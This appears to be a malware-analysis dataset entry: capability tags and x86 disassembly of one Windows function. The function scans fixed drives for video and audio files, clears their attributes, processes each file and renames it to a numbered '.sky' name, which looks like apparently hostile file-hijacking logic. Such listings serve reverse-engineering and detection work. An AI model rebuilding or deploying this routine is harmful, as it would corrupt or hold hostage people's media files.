Function at 0x425290
Capabilities:
Enumerate files on windows
Get disk information
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
mov eax, dword [0x4cf0c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x400], ecx
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1d0], 0
mov byte [ebp - 0x3e1], 0x44
mov dword [ebp - 0x3f0], 0
mov dword [ebp - 0x1cc], 0
jmp 0x4252e9
mov eax, dword [ebp - 0x1cc]
add eax, 1
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x10
jge 0x4258b3
push 5
push 0
lea ecx, [ebp - 0x3fc]
push ecx
call fcn.00474130
add esp, 0xc
movzx edx, byte [ebp - 0x3e1]
add edx, dword [ebp - 0x1cc]
mov byte [ebp - 0x3e9], dl
mov al, byte [ebp - 0x3e9]
mov byte [ebp - 0x3fc], al
push 0x49eba0
push 0x49eba4
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea ecx, [ebp - 0x3fb]
push ecx
call fcn.00474a28
add esp, 0xc
lea edx, [ebp - 0x3fc]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x4258ae
mov dword [ebp - 0x1d0], 0
jmp 0x42537e
mov eax, dword [ebp - 0x1d0]
add eax, 1
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0xa
jge 0x4258ae
push 0x28
push 0
lea ecx, [ebp - 0x258]
push ecx
call fcn.00474130
add esp, 0xc
lea edx, [ebp - 0x3fc]
push edx
lea eax, [ebp - 0x3fc]
push eax
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea ecx, [ebp - 0x258]
push ecx
call fcn.00474a28
add esp, 0xc
cmp dword [ebp - 0x1d0], 0
jne 0x42540a
push 0x49eba8
push str..mp2
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea edx, [ebp - 0x258]
push edx
call fcn.00474a90
add esp, 4
lea eax, [ebp + eax - 0x258]
push eax
call fcn.00474a28
add esp, 0xc
jmp 0x42565a
cmp dword [ebp - 0x1d0], 1
jne 0x42544d
push 0x49ebb8
push str..vob
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea ecx, [ebp - 0x258]
push ecx
call fcn.00474a90
add esp, 4
lea edx, [ebp + eax - 0x258]
push edx
call fcn.00474a28
add esp, 0xc
jmp 0x42565a
cmp dword [ebp - 0x1d0], 2
jne 0x425490
push 0x49ebc8
push str..dat
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.00474a90
add esp, 4
lea ecx, [ebp + eax - 0x258]
push ecx
call fcn.00474a28
add esp, 0xc
jmp 0x42565a
cmp dword [ebp - 0x1d0], 3
jne 0x4254d3
push 0x49ebd8
push str..mpg
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea edx, [ebp - 0x258]
push edx
call fcn.00474a90
add esp, 4
lea eax, [ebp + eax - 0x258]
push eax
call fcn.00474a28
add esp, 0xc
jmp 0x42565a
cmp dword [ebp - 0x1d0], 4
jne 0x425516
push 0x49ebe8
push str..wmv
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea ecx, [ebp - 0x258]
push ecx
call fcn.00474a90
add esp, 4
lea edx, [ebp + eax - 0x258]
push edx
call fcn.00474a28
add esp, 0xc
jmp 0x42565a
cmp dword [ebp - 0x1d0], 5
jne 0x425559
push 0x49ebf8
push str..mp4
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.00474a90
add esp, 4
lea ecx, [ebp + eax - 0x258]
push ecx
call fcn.00474a28
add esp, 0xc
jmp 0x42565a
cmp dword [ebp - 0x1d0], 6
jne 0x42559c
push 0x49ec08
push str..mp3
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea edx, [ebp - 0x258]
push edx
call fcn.00474a90
add esp, 4
lea eax, [ebp + eax - 0x258]
push eax
call fcn.00474a28
add esp, 0xc
jmp 0x42565a
cmp dword [ebp - 0x1d0], 7
jne 0x4255dc
push 0x49ec18
push str..avi
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea ecx, [ebp - 0x258]
push ecx
call fcn.00474a90
add esp, 4
lea edx, [ebp + eax - 0x258]
push edx
call fcn.00474a28
add esp, 0xc
jmp 0x42565a
cmp dword [ebp - 0x1d0], 8
jne 0x42561c
push 0x49ec28
push str..rm
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.00474a90
add esp, 4
lea ecx, [ebp + eax - 0x258]
push ecx
call fcn.00474a28
add esp, 0xc
jmp 0x42565a
cmp dword [ebp - 0x1d0], 9
jne 0x42565a
push 0x49ec38
push str..rmvb
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea edx, [ebp - 0x258]
push edx
call fcn.00474a90
add esp, 4
lea eax, [ebp + eax - 0x258]
push eax
call fcn.00474a28
add esp, 0xc
mov dword [ebp - 0x3f0], 0
lea ecx, [ebp - 0x1c8]
push ecx
lea edx, [ebp - 0x258]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0xffffffff
jne 0x42568c
jmp 0x42536f
cmp dword [ebp - 0x3f0], 0
jne 0x42589c
push 0
call fcn.00424600
add esp, 4
push eax
call fcn.00476bb4
add esp, 4
call fcn.00476bc6
imul eax, eax, 0x64
mov dword [ebp - 0x1d4], eax
push 0x50
push 0
lea eax, [ebp - 0x88]
push eax
call fcn.00474130
add esp, 0xc
lea ecx, [ebp - 0x3fc]
push ecx
lea edx, [ebp - 0x3fc]
push edx
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea eax, [ebp - 0x88]
push eax
call fcn.00474a28
add esp, 0xc
lea ecx, [ebp - 0x19c]
push ecx
lea edx, [ebp - 0x19c]
push edx
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea eax, [ebp - 0x88]
push eax
call fcn.00474a90
add esp, 4
lea ecx, [ebp + eax - 0x88]
push ecx
call fcn.00474a28
add esp, 0xc
push 0x80
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x28
push 0
lea eax, [ebp - 0x360]
push eax
call fcn.00474130
add esp, 0xc
lea ecx, [ebp - 0x19c]
push ecx
lea edx, [ebp - 0x19c]
push edx
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea eax, [ebp - 0x360]
push eax
call fcn.00474a28
add esp, 0xc
push 4
push 0
lea ecx, [ebp - 0x360]
push ecx
call fcn.00474a90
add esp, 4
lea edx, [ebp + eax - 0x364]
push edx
call fcn.00474130
add esp, 0xc
mov eax, dword [ebp - 0x1d4]
add eax, 0xf4240
mov dword [ebp - 0x3e8], eax
push 0x50
push 0
lea ecx, [ebp - 0x3e0]
push ecx
call fcn.00474130
add esp, 0xc
lea edx, [ebp - 0x3fc]
push edx
lea eax, [ebp - 0x3fc]
push eax
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea ecx, [ebp - 0x3e0]
push ecx
call fcn.00474a28
add esp, 0xc
mov edx, dword [ebp - 0x3e8]
push edx
push 0x49ec48
push 0xc
lea eax, [ebp - 0x3e0]
push eax
call fcn.00474a90
add esp, 4
lea ecx, [ebp + eax - 0x3e0]
push ecx
call fcn.00476cb6
add esp, 0x10
push 0x49ec4c
push str..sky
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea edx, [ebp - 0x3e0]
push edx
call fcn.00474a90
add esp, 4
lea eax, [ebp + eax - 0x3e0]
push eax
call fcn.00474a28
add esp, 0xc
lea ecx, [ebp - 0x88]
push ecx
mov ecx, dword [ebp - 0x400]
call fcn.004258d0
lea edx, [ebp - 0x3e0]
push edx
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [ebp - 0x1c8]
push ecx
mov edx, dword [ebp - 0x3f4]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x425897
mov dword [ebp - 0x3f0], 1
jmp 0x42568c
mov eax, dword [ebp - 0x3f4]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x42536f
jmp 0x4252da
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00474590
mov esp, ebp
pop ebp
ret